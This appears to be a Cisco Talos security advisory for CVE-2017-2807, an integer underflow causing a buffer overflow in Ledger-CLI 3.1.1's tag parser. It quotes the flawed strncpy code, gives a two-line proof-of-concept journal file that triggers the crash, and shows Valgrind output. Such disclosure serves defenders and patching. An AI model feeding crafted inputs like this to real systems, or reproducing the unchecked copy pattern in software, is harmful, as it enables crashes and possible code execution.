CVE-2017-2807
An exploitable buffer overflow vulnerability exists in the tag parsing functionality of Ledger-CLI 3.1.1. A specially crafted journal file can cause a integer underflow resulting in code execution. An attacker can construct a malicious journal file to trigger this vulnerability.
Ledger CLI 3.1.1
7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
Ledger CLI is an accounting system accessed via the command line. Ledger leverages data provided by the user to provide very detailed financial reports and analytics.
When parsing the tags in a journal file, a size of the tag is constructed by subtracting two pointers pointing to the ends of the tag. This size is used directly to copy file data into a static buffer. This subtraction can result in an integer underflow, forcing a large value to be be used in the subsequent strnpcy
.
src/items.cc:147
void item_t::parse_tags(const char * p,
scope_t& scope,
bool overwrite_existing)
{
if (! std::strchr(p, ':')) {
if (const char * b = std::strchr(p, '[')) {
if (*(b + 1) != '\0' &&
(std::isdigit(*(b + 1)) || *(b + 1) == '=')) {
if (const char * e = std::strchr(p, ']')) {
char buf[256];
std::strncpy(buf ,b + 1, static_cast<std::size_t>(e - b - 1));
An example journal file exercising this vulnerability is shown below:
$ cat poc.dat
2003/12/20 Organic Co-op
Expenses:Food:Groceries $ 37.50 ; ] [=2004/01/01]
Note the ]
that comes before [
after the ;
. These resultant pointers cause the integer overflow resulting in the buffer overflow.
==10500== Memcheck, a memory error detector
==10500== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==10500== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==10500== Command: ../ledger-3.1.1/ledger -f ../ledger-raw/test.poc reg
==10500==
==10500== Invalid write of size 1
==10500== at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==10500== by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157)
==10500== Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd
==10500==
==10500==
==10500== Process terminating with default action of signal 11 (SIGSEGV)
==10500== Access not within mapped region at address 0xFFF001000
==10500== at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==10500== by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157)
==10500== If you believe this happened as a result of a stack
==10500== overflow in your program's main thread (unlikely but
==10500== possible), you can try to increase the size of the
==10500== main thread stack using the --main-stacksize= flag.
==10500== The main thread stack size used in this run was 8388608.
==10500==
==10500== HEAP SUMMARY:
==10500== in use at exit: 251,247 bytes in 143 blocks
==10500== total heap usage: 228 allocs, 85 frees, 263,470 bytes allocated
==10500==
==10500== LEAK SUMMARY:
==10500== definitely lost: 279 bytes in 6 blocks
==10500== indirectly lost: 0 bytes in 0 blocks
==10500== possibly lost: 0 bytes in 0 blocks
==10500== still reachable: 250,968 bytes in 137 blocks
==10500== of which reachable via heuristic:
==10500== newarray : 64 bytes in 4 blocks
==10500== multipleinheritance: 1,376 bytes in 1 blocks
==10500== suppressed: 0 bytes in 0 blocks
==10500== Rerun with --leak-check=full to see details of leaked memory
==10500==
==10500== For counts of detected and suppressed errors, rerun with: -v
==10500== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
./ledger -f poc.dat register
2017-04-07 - Vendor Disclosure
2017-08-30 - Public Release
Discovered by Cory Duplantis of Cisco Talos.